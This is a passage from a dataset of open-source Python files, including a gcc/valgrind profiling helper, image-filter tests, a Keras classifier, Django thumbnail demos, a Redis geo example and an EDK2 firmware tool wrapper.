handle concurrency issues\n with open(local_path, 'w') as f:\n f.write(code)\n\n process = Popen(['wc', '-l', local_path], stdout=PIPE)\n (output, err) = process.communicate()\n exit_code = process.wait()\n\n # print(output)\n # with open('test.json') as f:\n # s = json.load(f)\n\n ret_dict = {}\n '''\n Invoke compiler (if need) and profiler to generate the results.\n '''\n os.system('clang-format -i {}'.format(local_path))\n compile_retvalue = os.system('gcc -pedantic -g {} -o exec 1> gcc_output 2>&1'.format(local_path))\n\n if compile_retvalue != 0:\n ret_dict['error'] = 1\n ret_dict['source'] = ''.join(list(open(local_path, 'r').readlines()))\n ret_dict['error_message'] = ''.join(list(open('gcc_output', 'r').readlines()))\n return ret_dict\n\n os.system('valgrind ./exec > valgrind.txt 2>&1')\n uninitialised_buffer, invalid_write_buffer = extract_valgrind_result('other', 'valgrind.txt')\n os.system('valgrind --leak-check=full ./exec > valgrind_leak.txt 2>&1')\n mem_leak_dic = extract_valgrind_result('memory_leak', 'valgrind_leak.txt')\n\n\n ret_dict['error'] = 0\n vega_chart = mem_issue_visualize(local_path, uninitialised_buffer, invalid_write_buffer, mem_leak_dic)\n ret_dict['vega_json'] = json.loads(vega_chart.to_json())\n\n return ret_dict\n\n \n", "source": "CMU-IDS-2020/fp-profiler", "license": "BSD-3-Clause"}
+{"text": "import numpy as np\nfrom numpy.testing import assert_allclose, run_module_suite\nfrom fast_ndimage import (\n median_filter, sobel, convolve, correlate, gaussian_filter,\n gaussian_filter1d, uniform_filter, uniform_filter1d)\n\n\ndef test_median_filter():\n rtol = atol = 1e-7\n shape = (63, 64)\n rstate = np.random.RandomState(0)\n x = rstate.standard_normal(shape).astype(np.float32)\n\n for mode in ['reflect', ]:\n kwargs = dict(mode=mode, size=3)\n result_ndi = median_filter(x, backend='ndimage', **kwargs)\n result_opencv = median_filter(x, backend='opencv', **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n\ndef test_sobel_filter():\n rtol = atol = 1e-7\n shape = (63, 64)\n rstate = np.random.RandomState(0)\n x = rstate.standard_normal(shape)\n\n # TODO: OpenCV 3.3 currently crashing for mode 'wrap':\n # error: ~/miniconda3/conda-bld/opencv_1513818334462/work/opencv-3.3.0/modules/imgproc/src/filter.cpp:127: error: (-215) columnBorderType != BORDER_WRAP in function init\n for axis in [0, 1]:\n for mode in ['reflect', 'mirror', 'constant', 'nearest']:\n kwargs = dict(mode=mode, axis=axis)\n result_ndi = sobel(x, backend='ndimage', **kwargs)\n result_opencv = sobel(x, backend='opencv', **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n axis = 0\n mode = 'reflect'\n for scale in [0.5, 1, 2, None]:\n for delta in [0, 0.5, 2]:\n kwargs = dict(mode=mode, axis=axis, scale=scale, delta=delta)\n result_ndi = sobel(x[:, 0], backend='ndimage', **kwargs)\n result_opencv = sobel(x[:, 0], backend='opencv', **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n\ndef test_uniform_filter():\n rtol = atol = 1e-7\n shape = (63, 64)\n rstate = np.random.RandomState(0)\n x = rstate.standard_normal(shape)\n\n # TODO: OpenCV 3.3 currently crashing for mode 'wrap':\n # error: ~/miniconda3/conda-bld/opencv_1513818334462/work/opencv-3.3.0/modules/imgproc/src/filter.cpp:127: error: (-215) columnBorderType != BORDER_WRAP in function init\n for mode in ['reflect', 'mirror', 'constant', 'nearest']:\n kwargs = dict(mode=mode, size=(2, 3))\n result_ndi = uniform_filter(x, backend='ndimage', **kwargs)\n result_opencv = uniform_filter(x, backend='opencv', **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n for squared in [False, True]:\n for normalize in [False, True]:\n kwargs = dict(size=3, mode='reflect', normalize=normalize,\n squared=squared)\n result_ndi = uniform_filter(x, backend='ndimage', **kwargs)\n result_opencv = uniform_filter(x, backend='opencv', **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n for size in [5, (5, 6), (6, 5), 6]:\n for origin in [-2, -1, 0, 1, 2, (0, 0), (1, 1), (0, 1), (2, 1),\n (-1, -2)]:\n kwargs = dict(mode='reflect', size=size, origin=origin)\n result_ndi = uniform_filter(x, backend='ndimage', **kwargs)\n result_opencv = uniform_filter(x, backend='opencv', **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n\ndef test_uniform_filter1d():\n rtol = atol = 1e-7\n shape = (63, 64)\n rstate = np.random.RandomState(0)\n x = rstate.standard_normal(shape)\n\n size = 3\n for axis in [0, 1, -1]:\n for mode in ['reflect', 'mirror', 'constant', 'nearest']:\n kwargs = dict(mode=mode)\n result_ndi = uniform_filter1d(x, size, axis, backend='ndimage', **kwargs)\n result_opencv = uniform_filter1d(x, size, axis, backend='opencv', **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n for squared in [False, True]:\n for normalize in [False, True]:\n kwargs = dict(mode='reflect', normalize=normalize,\n squared=squared)\n result_ndi = uniform_filter1d(x, size, axis, backend='ndimage', **kwargs)\n result_opencv = uniform_filter1d(x, size, axis, backend='opencv', **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n for origin in [-1, 0, 1]:\n kwargs = dict(mode='reflect', origin=origin)\n result_ndi = uniform_filter1d(x, size, axis, backend='ndimage', **kwargs)\n result_opencv = uniform_filter1d(x, size, axis, backend='opencv', **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n\ndef test_gaussian_filter():\n rtol = atol = 1e-12\n shape = (63, 64)\n sigma = (1.5, 3)\n rstate = np.random.RandomState(0)\n x = rstate.standard_normal(shape)\n\n # TODO: OpenCV 3.3 currently crashing for mode 'wrap':\n # error: ~/miniconda3/conda-bld/opencv_1513818334462/work/opencv-3.3.0/modules/imgproc/src/filter.cpp:127: error: (-215) columnBorderType != BORDER_WRAP in function init\n for mode in ['reflect', 'mirror', 'constant', 'nearest']:\n kwargs = dict(mode=mode)\n result_ndi = gaussian_filter(x, sigma, backend='ndimage', **kwargs)\n result_opencv = gaussian_filter(x, sigma, backend='opencv', **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n mode = 'reflect'\n for truncate in [1, 1.1, 1.5, 2, 4, 5]:\n kwargs = dict(mode=mode, truncate=truncate)\n result_ndi = gaussian_filter(x, sigma, backend='ndimage', **kwargs)\n result_opencv = gaussian_filter(x, sigma, backend='opencv', **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n\ndef test_gaussian_filter1d():\n rtol = atol = 1e-12\n shape = (63, 64)\n sigma = 2.5\n rstate = np.random.RandomState(0)\n x = rstate.standard_normal(shape)\n\n # TODO: OpenCV 3.3 currently crashing for mode 'wrap':\n # error: ~/miniconda3/conda-bld/opencv_1513818334462/work/opencv-3.3.0/modules/imgproc/src/filter.cpp:127: error: (-215) columnBorderType != BORDER_WRAP in function init\n for axis in [0, 1, -1]:\n for mode in ['reflect', 'mirror', 'constant', 'nearest']:\n kwargs = dict(mode=mode)\n result_ndi = gaussian_filter1d(x, sigma, axis, backend='ndimage',\n **kwargs)\n result_opencv = gaussian_filter1d(x, sigma, axis, backend='opencv',\n **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n mode = 'reflect'\n for truncate in [1, 2]:\n kwargs = dict(mode=mode, truncate=truncate, axis=axis)\n result_ndi = gaussian_filter1d(x, sigma, backend='ndimage',\n **kwargs)\n result_opencv = gaussian_filter1d(x, sigma, backend='opencv',\n **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n\n\ndef test_convolve():\n rtol = atol = 1e-12\n shape = (63, 64)\n rstate = np.random.RandomState(0)\n x = rstate.standard_normal(shape)\n weights = rstate.standard_normal((3, 6))\n\n func = convolve\n\n # TODO: OpenCV 3.3 currently crashing for mode 'wrap':\n # error: ~/miniconda3/conda-bld/opencv_1513818334462/work/opencv-3.3.0/modules/imgproc/src/filter.cpp:127: error: (-215) columnBorderType != BORDER_WRAP in function init\n for mode in ['reflect', 'mirror', 'constant', 'nearest']:\n kwargs = dict(mode=mode)\n result_ndi = func(x, weights, backend='ndimage', **kwargs)\n result_opencv = func(x, weights, backend='opencv', **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n for delta in [0, -0.5, 2]:\n kwargs = dict(mode='reflect', delta=delta)\n result_ndi = func(x, weights, backend='ndimage', **kwargs)\n result_opencv = func(x, weights, backend='opencv', **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n for origin in [-1, 0, 1, (0, 0), (1, 1)]:\n kwargs = dict(mode='reflect', origin=origin)\n result_ndi = func(x, weights, backend='ndimage', **kwargs)\n result_opencv = func(x, weights, backend='opencv', **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n\n# TODO: test threading\n\n\ndef test_correlate():\n rtol = atol = 1e-12\n shape = (63, 64)\n rstate = np.random.RandomState(0)\n x = rstate.standard_normal(shape)\n weights = rstate.standard_normal((4, 4))\n\n func = correlate\n\n # TODO: OpenCV 3.3 currently crashing for mode 'wrap':\n # error: ~/miniconda3/conda-bld/opencv_1513818334462/work/opencv-3.3.0/modules/imgproc/src/filter.cpp:127: error: (-215) columnBorderType != BORDER_WRAP in function init\n for mode in ['reflect', 'mirror', 'constant', 'nearest']:\n kwargs = dict(mode=mode)\n result_ndi = func(x, weights, backend='ndimage', **kwargs)\n result_opencv = func(x, weights, backend='opencv', **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n for delta in [0, -0.5, 2]:\n kwargs = dict(mode='reflect', delta=delta)\n result_ndi = func(x, weights, backend='ndimage', **kwargs)\n result_opencv = func(x, weights, backend='opencv', **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n for origin in [-1, 0, 1, (0, 0), (1, 1)]:\n kwargs = dict(mode='reflect', origin=origin)\n result_ndi = func(x, weights, backend='ndimage', **kwargs)\n result_opencv = func(x, weights, backend='opencv', **kwargs)\n assert_allclose(result_ndi, result_opencv, rtol=rtol, atol=atol)\n\n # TODO: assert_raises ValueError on origin=(-1, 1) etc.\n\n\nif __name__ == \"__main__\":\n run_module_suite()\n", "source": "grlee77/skimage_accel_demos", "license": "BSD-3-Clause"}
+{"text": "#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Oct 30 20:11:19 2016\n\n@author: stephen\n\"\"\"\n \nfrom __future__ import print_function\n \nfrom keras.models import Model\nfrom keras.utils import np_utils\nimport numpy as np\nimport os\nfrom keras.callbacks import ModelCheckpoint\nimport pandas as pd\nimport sys\nimport keras \nfrom keras.callbacks import ReduceLROnPlateau\n \ndef readucr(filename):\n data = np.loadtxt(filename, delimiter = ',')\n Y = data[:,0]\n X = data[:,1:]\n return X, Y\n \nnb_epochs = 300\n\n\n#flist = ['Adiac', 'Beef', 'CBF', 'ChlorineConcentration', 'CinC_ECG_torso', 'Coffee', 'Cricket_X', 'Cricket_Y', 'Cricket_Z', \n#'DiatomSizeReduction', 'ECGFiveDays', 'FaceAll', 'FaceFour', 'FacesUCR', '50words', 'FISH', 'Gun_Point', 'Haptics', \n#'InlineSkate', 'ItalyPowerDemand', 'Lighting2', 'Lighting7', 'MALLAT', 'MedicalImages', 'MoteStrain', 'NonInvasiveFatalECG_Thorax1', \n#'NonInvasiveFatalECG_Thorax2', 'OliveOil', 'OSULeaf', 'SonyAIBORobotSurface', 'SonyAIBORobotSurfaceII', 'StarLightCurves', 'SwedishLeaf', 'Symbols', \n#'synthetic_control', 'Trace', 'TwoLeadECG', 'Two_Patterns', 'uWaveGestureLibrary_X', 'uWaveGestureLibrary_Y', 'uWaveGestureLibrary_Z', 'wafer', 'WordsSynonyms', 'yoga']\n\nflist = [ sys.argv[1] ] \nfor each in flist:\n fname = each\n x_train, y_train = readucr(fname+'/'+fname+'_TRAIN')\n x_test, y_test = readucr(fname+'/'+fname+'_TEST')\n nb_classes = len(np.unique(y_test))\n batch_size = int(min(x_train.shape[0]/10, 16))\n y_train = (y_train - y_train.min())/(y_train.max()-y_train.min())*(nb_classes-1)\n y_test = (y_test - y_test.min())/(y_test.max()-y_test.min())*(nb_classes-1)\n \n Y_train = np_utils.to_categorical(y_train, nb_classes)\n Y_test = np_utils.to_categorical(y_test, nb_classes)\n \n x_train_mean = x_train.mean()\n x_train_std = x_train.std()\n x_train = (x_train - x_train_mean)/(x_train_std)\n \n x_test = (x_test - x_train_mean)/(x_train_std)\n x_train = x_train.reshape(x_train.shape + (1,))\n x_test = x_test.reshape(x_test.shape + (1,))\n print (\"class:\"+each+\", number of classes: \"+str(nb_classes))\n x = keras.layers.Input(x_train.shape[1:])\n\n# drop_out = Dropout(0.2)(x)\n conv1 = keras.layers.Conv1D(filters=32, kernel_size=8, strides=1, activation='relu', input_shape=(32,1))(x)\n conv1 = keras.layers.normalization.BatchNormalization()(conv1)\n conv1 = keras.layers.Activation('relu')(conv1)\n \n# drop_out = Dropout(0.2)(conv1)\n conv2 = keras.layers.Conv1D(filters=64, kernel_size=5, border_mode='same')(conv1)\n conv2 = keras.layers.normalization.BatchNormalization()(conv2)\n conv2 = keras.layers.Activation('relu')(conv2)\n \n# drop_out = Dropout(0.2)(conv2)\n conv3 = keras.layers.Conv1D(filters=32, kernel_size=3, border_mode='same')(conv2)\n conv3 = keras.layers.normalization.BatchNormalization()(conv3)\n conv3 = keras.layers.Activation('relu')(conv3)\n \n full = keras.layers.pooling.GlobalAveragePooling1D()(conv3) \n out = keras.layers.Dense(nb_classes, activation='softmax')(full)\n \n \n model = Model(input=x, output=out)\n \n optimizer = keras.optimizers.Adam()\n model.compile(loss='categorical_crossentropy',\n optimizer=optimizer,\n metrics=['accuracy'])\n \n reduce_lr = ReduceLROnPlateau(monitor = 'loss', factor=0.5,\n patience=50, min_lr=0.0001)\n# if os.path.isfile(fname+\"_best.hdf5\"):\n# model.load_weights(fname+'_best.hdf5')\n# model.load_weights(fname+'_shapelet_best.hdf5')\n\n checkpointer = ModelCheckpoint(filepath=fname+\"_best.hdf5\",\n monitor = 'val_accuracy',\n verbose=2,\n save_best_only=True)\n\n# hist = model.fit(x_train, Y_train, batch_size=batch_size, epochs=nb_epochs,\n# verbose=1, callbacks=[reduce_lr], validation_data=(x_test, Y_test))\n hist = model.fit(x_train, Y_train, batch_size=batch_size, epochs=nb_epochs,\n verbose=1, callbacks=[checkpointer,reduce_lr], validation_data=(x_test, Y_test))\n\n\n #Print the testing results which has the lowest training loss.\n log = pd.DataFrame(hist.history)\n print (log.loc[log['loss'].idxmin]['loss'], log.loc[log['loss'].idxmin])\n\n", "source": "alexandrefelipemuller/timeseries_shapelet_transferlearning", "license": "Apache-2.0"}
+{"text": "from django.http import HttpResponse\nfrom django.shortcuts import render_to_response\nfrom django.template import RequestContext\nfrom django.conf import settings\n\nfrom models import ThumbTest\n\nfrom sorethumb.filters.defaultfilters import *\nfrom sorethumb.filters.drawfilters import *\nfrom sorethumb.djangothumbnail import DjangoThumbnail\n\n\nclass SmallThumb(DjangoThumbnail):\n \n filters = [ThumbnailFilter(120, 100)] \n\n\nclass Square(DjangoThumbnail):\n \n filters = [ThumbnailFilter(100, 100),\n SquareFilter(),] \n\n\nclass RoundedCorners5(DjangoThumbnail):\n \n format = 'png'\n filters = [ThumbnailFilter(120, 100),\n RoundedCornerFilter(5)] \n \n \nclass RoundedCorners10(DjangoThumbnail):\n \n format = 'png'\n filters = [ThumbnailFilter(120, 100),\n RoundedCornerFilter(10)] \n \n \nclass RoundedCorners20(DjangoThumbnail):\n \n format = 'png'\n filters = [ThumbnailFilter(120, 100),\n RoundedCornerFilter(20)] \n\n \nclass RoundedCornersEdged(DjangoThumbnail):\n \n format = 'png'\n filters = [ThumbnailFilter(120, 100),\n RoundedCornerFilter(10, border='#000')] \n \n\nclass RoundedCornersBackground(DjangoThumbnail):\n \n format = 'png'\n filters = [ThumbnailFilter(120, 100),\n RoundedCornerFilter(10, border='#333'), \n ResizeCanvasFilter(130, 110, '#fff'),\n OpaqueFilter('#fff'),] \n\n\nclass RoundedCornersBackgroundGradient(DjangoThumbnail):\n \n format = 'png'\n filters = [ThumbnailFilter(120, 100),\n RoundedCornerFilter(10, border='#000'), \n ResizeCanvasFilter(130, 110, '#e2e2ff', background_opacity=0),\n VerticalGradientFilter('#fff', '#88e'),] \n\n\nclass MaskThumb(DjangoThumbnail):\n \n format = 'png'\n filters = [ThumbnailFilter(120, 100),\n ResizeCanvasFilter(120, 100, '#000', background_opacity=0),\n MaskFilter(settings.MEDIA_ROOT+'/alpha.png')] \n\n\nclass GrayThumb(DjangoThumbnail):\n \n filters = [ThumbnailFilter(120, 100),\n GrayscaleFilter()]\n \n \nclass FadedThumb(DjangoThumbnail):\n \n format = 'png'\n filters = [ThumbnailFilter(120, 100),\n OpacityFilter(.5)] \n \n \nclass OverlayThumb(DjangoThumbnail):\n format = 'png'\n filters = [ThumbnailFilter(120, 100), \n OverlayFilter(settings.MEDIA_ROOT+'/user.png')]\n \n\nthumb_examples = [\n\n {\n 'thumb':'small_thumb',\n 'title':'Basic thumbnail',\n 'description':\"\"\"Here we have a basic thumbnail that uses PIL's thumbnail operation to reduce an image to fit in a defined dimensions.\"\"\",\n \n 'code' : '''class SmallThumb(DjangoThumbnail): \n filters = [ThumbnailFilter(120, 100)]''' \n },\n \n {\n 'thumb':'square',\n 'title':'Square',\n 'description':'As above, but cropped to be square. Since uploaded images can be any old size, they can tend to look ragged when presented in rows. Square thumbs look better in rows, at the expense of a little cropping',\n \n 'code':\"\"\"class Square(DjangoThumbnail): \n filters = [ThumbnailFilter(100, 100),\n SquareFilter()] \"\"\"\n },\n \n {\n 'thumb':'rounded_corners5',\n 'title':'5 pixels rounded corner',\n 'description':\"\"\"Rounded corners without CSS3, on a transparent background. What is it with designers and rounded corners anyway?\"\"\",\n 'code':\"\"\"class RoundedCorners5(DjangoThumbnail): \n format = 'png'\n filters = [ThumbnailFilter(120, 100),\n RoundedCornerFilter(5)] \"\"\",\n \n },\n \n {\n 'thumb':'rounded_corners10',\n 'title':'10 pixels rounded corner',\n 'description':'As above, but 10 pixels.', \n },\n \n {\n 'thumb':'rounded_corners20',\n 'title':'20 pixels rounded corner',\n 'description':'Even more rounded corners', \n }, \n \n {\n 'thumb':'rounded_corners_edged',\n 'title':'Rounded corners with a border',\n 'description':'The rounded corner filter also supports a coloured border',\n 'code':\"\"\"class RoundedCornersEdged(DjangoThumbnail): \n format = 'png'\n filters = [ThumbnailFilter(120, 100),\n RoundedCornerFilter(10, border='#333')]\"\"\", \n },\n \n {\n 'thumb':'rounded_corners_background',\n 'title':\"Rounded corners on an opaque background\",\n 'description':\"Rounded corners on an opaque backround for browsers with poor support for per-pixel transparency — IE6 I'm looking at you!\",\n 'code':\"\"\"class RoundedCornersBackground(DjangoThumbnail): \n format = 'png'\n filters = [ThumbnailFilter(120, 100),\n RoundedCornerFilter(10, border='#333'), \n ResizeCanvasFilter(130, 110, '#fff'),\n OpaqueFilter('#fff')] \"\"\"\n },\n\n {\n 'thumb':'rounded_corners_background_gradient',\n 'title':\"Rounded corners on a gadient\",\n 'description':\"As above, but on a gradient background. The vertical gradient filter replaces transparent areas with a smooth gradient between two colours.\",\n 'code':\"\"\"class RoundedCornersBackgroundGradient(DjangoThumbnail): \n format = 'png'\n filters = [ThumbnailFilter(120, 100),\n RoundedCornerFilter(10, border='#000'), \n ResizeCanvasFilter(130, 110, '#e2e2ff', background_opacity=0),\n VerticalGradientFilter('#fff', '#88e')] \"\"\"\n },\n \n {'thumb':'mask_thumb',\n 'title':'Masked thumbnail',\n 'description': 'This thumbnail uses MaskFilter which replaces the alpha channel with another image, to create some interesting effects.',\n 'code':\"\"\"class MaskThumb(DjangoThumbnail): \n format = 'png'\n filters = [ThumbnailFilter(120, 100),\n ResizeCanvasFilter(120, 100, '#000', background_opacity=0),\n MaskFilter(settings.MEDIA_ROOT+'/alpha.png')] \n\"\"\"\n },\n\n {\n 'thumb':'gray_thumb',\n 'title':'Grayscale',\n 'description':'A grayscale thumb, could be used as a hover state.',\n 'code':\"\"\"class GrayThumb(DjangoThumbnail): \n filters = [ThumbnailFilter(120, 100),\n GrayscaleFilter()]\"\"\" \n },\n\n {\n 'thumb':'faded_thumb',\n 'title':'50% opacity',\n 'description':'The OpacityFilter sets the opacity of the thumbnail.',\n 'code':\"\"\"class FadedThumb(DjangoThumbnail): \n format = 'png'\n filters = [ThumbnailFilter(120, 100),\n OpacityFilter(.5)] \"\"\" \n },\n\n\n {\n 'thumb':'overlay_thumb',\n 'title':'Thumbnail with overlay',\n 'description':\"\"\"A thumbnail with an overlayed transparent png. Could be used to indicate online status.\"\"\",\n \n 'code' : '''class OverlayThumb(DjangoThumbnail):\n format = 'png'\n filters = [ThumbnailFilter(120, 100),\n OverlayFilter(settings.MEDIA_ROOT+'/user.png')]''' \n },\n\n]\n\ndef examples(request):\n \n context = {'examples':thumb_examples}\n \n if request.method == 'POST': \n thumb = ThumbTest(image_file=request.FILES.get('file')) \n thumb.save()\n \n try:\n dbobject = ThumbTest.objects.all().order_by('-pk')[0]\n except IndexError:\n dbobject = None\n \n context['dbobject'] = dbobject\n \n return render_to_response('thumbs.html',\n context,\n RequestContext(request))\n", "source": "arneb/sorethumb", "license": "BSD-3-Clause"}
+{"text": "import os\nimport sys\nimport argparse\n\nfrom ._install_addon import install_addon\n\n\ndef cli_interface():\n \"\"\" Installs Seeq Add-on Tool \"\"\"\n parser = argparse.ArgumentParser(description='Install Clustering as a Seeq Add-on Tool')\n parser.add_argument('--username', type=str, default=None,\n help='Username or Access Key of Seeq admin user installing the tool(s) ')\n parser.add_argument('--seeq_url', type=str,\n help=\"Seeq hostname URL with the format https://my.seeq.com/ or https://my.seeq.com:34216\")\n parser.add_argument('--app_url', type=str,\n help=\"URL of clustering app notebook with the format e.g. https://my.seeq.com/data-lab/CBA9A827-35A8-4944-8A74-EE7008DC3ED8/notebooks/hb/seeq/addons/clustering/App.ipynb\")\n parser.add_argument('--users', type=str, nargs='*', default=[],\n help=\"List of the Seeq users to will have access to the Correlation Add-on Tool,\"\n \" default: %(default)s\")\n parser.add_argument('--groups', type=str, nargs='*', default=['Everyone'],\n help=\"List of the Seeq groups to will have access to the Correlation Add-on Tool, \"\n \"default: %(default)s\")\n parser.add_argument('--password', type=str, default=None,\n help=\"Password of Seeq user installing the tool. Must supply a password if not supplying an accesskey for username\")\n parser.add_argument('--sort_key', type=str, default=None,\n help=\"A string, typically one character letter. The sort_key determines the order in which the Add-on Tools are displayed in the tool panel, \"\n \"default: %(default)s\")\n return parser.parse_args()\n\n\nif __name__ == '__main__':\n\n args = cli_interface()\n\n install_addon(\n sort_key=args.sort_key, \n permissions_group=args.groups, \n permissions_users=args.users, \n username=args.username, \n password=args.password\n )", "source": "seeq12/seeq-clustering", "license": "Apache-2.0"}
+{"text": "import json\n'''\nREAD THE DATABASE README before operating\n'''\nFile = r'''YOUR FILE'''\nwith open(File,'a') as fileObj:\n data = json.load()\n '''\n YOUR DATA LOGIC GOES IN HERE\n Once the data is changed, to write it to your JSON file use the following command.\n '''\n json.dump(object,File)", "source": "AbhijithGanesh/Flask-HTTP-Server", "license": "BSD-3-Clause"}
+{"text": "from ariadne import MutationType\nfrom datetime import datetime as dt\nfrom models.scope import Scope\nfrom schemas.helpers.normalize import change_keys\nfrom schemas.scope import ScopeCreate\n\n\nmutations_resolvers = MutationType()\n\n\n@mutations_resolvers.field(\"scopeCreate\")\nasync def resolve_scope_create(_, info, scope) -> dict:\n store_data = Scope.get_instance()\n data = ScopeCreate(**scope, key=f'{scope[\"collection\"]}{scope[\"action\"]}')\n normalize = change_keys(data.dict(exclude_none=True), key=\"_key\")\n\n return await store_data.create(normalize)\n", "source": "apoveda25/graphql-python-server", "license": "Apache-2.0"}
+{"text": "# -*- coding: utf-8 -*-\n\n# !/usr/bin/python\n#\n# example.py\n#\n#\n# Created by vinhntb on 6/27/17.\n# Copyright (c) 2017 geo_redis. All rights reserved.\n\nimport sys\nfrom bunch import Bunch\nfrom constants import GEO_USER_VISITED\nfrom geo_redis.geo_redis import GeoRedis\n\n\ndef add_user_visited():\n user_1 = Bunch(longitude=13.583333, latitude=37.316667, member='101') # The member is user_id\n user_2 = Bunch(longitude=13.361389, latitude=38.115556, member='102') # The member is user_id\n user_3 = Bunch(longitude=13.583433, latitude=37.317667, member='103') # The member is user_id\n user_4 = Bunch(longitude=13.583533, latitude=37.318667, member='104') # The member is user_id\n user_5 = Bunch(longitude=13.583633, latitude=37.318767, member='105') # The member is user_id\n user_6 = Bunch(longitude=13.583733, latitude=37.318867, member='106') # The member is user_id\n user_7 = Bunch(longitude=13.361389, latitude=38.115556, member='107') # The member is user_id\n user_8 = Bunch(longitude=15.087269, latitude=37.502669, member='108') # The member is user_id\n\n redis_instance = GeoRedis()\n redis_instance.geo_add(GEO_USER_VISITED, **user_1)\n redis_instance.geo_add(GEO_USER_VISITED, **user_2)\n redis_instance.geo_add(GEO_USER_VISITED, **user_3)\n redis_instance.geo_add(GEO_USER_VISITED, **user_4)\n redis_instance.geo_add(GEO_USER_VISITED, **user_5)\n redis_instance.geo_add(GEO_USER_VISITED, **user_6)\n redis_instance.geo_add(GEO_USER_VISITED, **user_7)\n redis_instance.geo_add(GEO_USER_VISITED, **user_8)\n\n\ndef get_geo_radius():\n redis_instance = GeoRedis()\n unit = 'm'\n results = redis_instance.geo_radius(name=GEO_USER_VISITED, longitude=13.58, latitude=37.316, radius=500, unit=unit,\n withcoord=True, withdist=True)\n\n \"\"\"The results are in nested array depend of parameters input. At this example, we have parameters:\n withcoord, withdist, withash. So result\n 1) member (user_id) [0]\n 2) distance [1]\n 3) 1) longitude [2][0]\n 2) latitude [2][1]\n \"\"\"\n\n print \"The results: \\n\"\n print \"Total: %s\" % len(results)\n for member in results:\n print '--------------------------------------\\n'\n print \"member: %s \\n\" % member[0]\n print \"distance: %s%s \\n\" % (member[1], unit)\n print \"longitude: %s \\n\" % member[2][0]\n print \"latitude: %s \\n\" % member[2][0]\n\n\ndef main(argv):\n add_user_visited()\n get_geo_radius()\n\n\nif __name__ == '__main__':\n main(sys.argv)\n\n\n\n\n", "source": "vinhntb/geo_redis", "license": "MIT"}
+{"text": "name = input()\n\nclass_school = 1\nsum_of_grades = 0\nejected = False\nfailed = 0\n\nwhile True:\n grade = float(input())\n if grade >= 4.00:\n sum_of_grades += grade\n if class_school == 12:\n break\n class_school += 1\n else:\n failed += 1\n if failed == 2:\n ejected = True\n break\n\nif ejected:\n print(f\"{name} has been excluded at {class_school} grade\")\nelse:\n average = sum_of_grades / class_school\n print(f\"{name} graduated. Average grade: {average:.2f}\")\n\n", "source": "Rohitm619/Softuni-Python-Basic", "license": "MIT"}
+{"text": "## @file\n# This file is used to define the FMMT dependent external tool management class.\n#\n# Copyright (c) 2021-, Intel Corporation. All rights reserved. \n# SPDX-License-Identifier: BSD-2-Clause-Patent\n##\nimport glob\nimport logging\nimport os\nimport shutil\nimport sys\nimport tempfile\nimport uuid\nfrom edk2basetools.FMMT.PI.Common import *\nfrom edk2basetools.FMMT.utils.FmmtLogger import FmmtLogger as logger\nimport subprocess\n\ndef ExecuteCommand(cmd: list) -> None:\n subprocess.run(cmd,stdout=subprocess.DEVNULL)\n\nclass GUIDTool:\n def __init__(self, guid: str, short_name: str, command: str) -> None:\n self.guid: str = guid\n self.short_name: str = short_name\n self.command: str = command\n\n def pack(self, buffer: bytes) -> bytes:\n \"\"\"\n compress file.\n \"\"\"\n tool = self.command\n if tool:\n tmp = tempfile.mkdtemp(dir=os.environ.get('tmp'))\n ToolInputFile = os.path.join(tmp, \"pack_uncompress_sec_file\")\n ToolOuputFile = os.path.join(tmp, \"pack_sec_file\")\n try:\n file = open(ToolInputFile, \"wb\")\n file.write(buffer)\n file.close()\n command = [tool, '-e', '-o', ToolOuputFile,\n ToolInputFile]\n ExecuteCommand(command)\n buf = open(ToolOuputFile, \"rb\")\n res_buffer = buf.read()\n except Exception as msg:\n logger.error(msg)\n return \"\"\n else:\n buf.close()\n if os.path.exists(tmp):\n shutil.rmtree(tmp)\n return res_buffer\n else:\n logger.error(\n \"Error parsing section: EFI_SECTION_GUID_DEFINED cannot be parsed at this time.\")\n logger.info(\"Its GUID is: %s\" % self.guid)\n return \"\"\n\n\n def unpack(self, buffer: bytes) -> bytes:\n \"\"\"\n buffer: remove common header\n uncompress file\n \"\"\"\n tool = self.command\n if tool:\n tmp = tempfile.mkdtemp(dir=os.environ.get('tmp'))\n ToolInputFile = os.path.join(tmp, \"unpack_sec_file\")\n ToolOuputFile = os.path.join(tmp, \"unpack_uncompress_sec_file\")\n try:\n file = open(ToolInputFile, \"wb\")\n file.write(buffer)\n file.close()\n command = [tool, '-d', '-o', ToolOuputFile, ToolInputFile]\n ExecuteCommand(command)\n buf = open(ToolOuputFile, \"rb\")\n res_buffer = buf.read()\n except Exception as msg:\n logger.error(msg)\n return \"\"\n else:\n buf.close()\n if os.path.exists(tmp):\n shutil.rmtree(tmp)\n return res_buffer\n else:\n logger.error(\"Error parsing section: EFI_SECTION_GUID_DEFINED cannot be parsed at this time.\")\n logger.info(\"Its GUID is: %s\" % self.guid)\n return \"\"\n\nclass GUIDTools:\n '''\n GUIDTools is responsible for reading FMMTConfig.ini, verify the tools and provide interfaces to access those tools.\n '''\n default_tools = {\n struct2stream(ModifyGuidFormat(\"a31280ad-481e-41b6-95e8-127f4c984779\")): 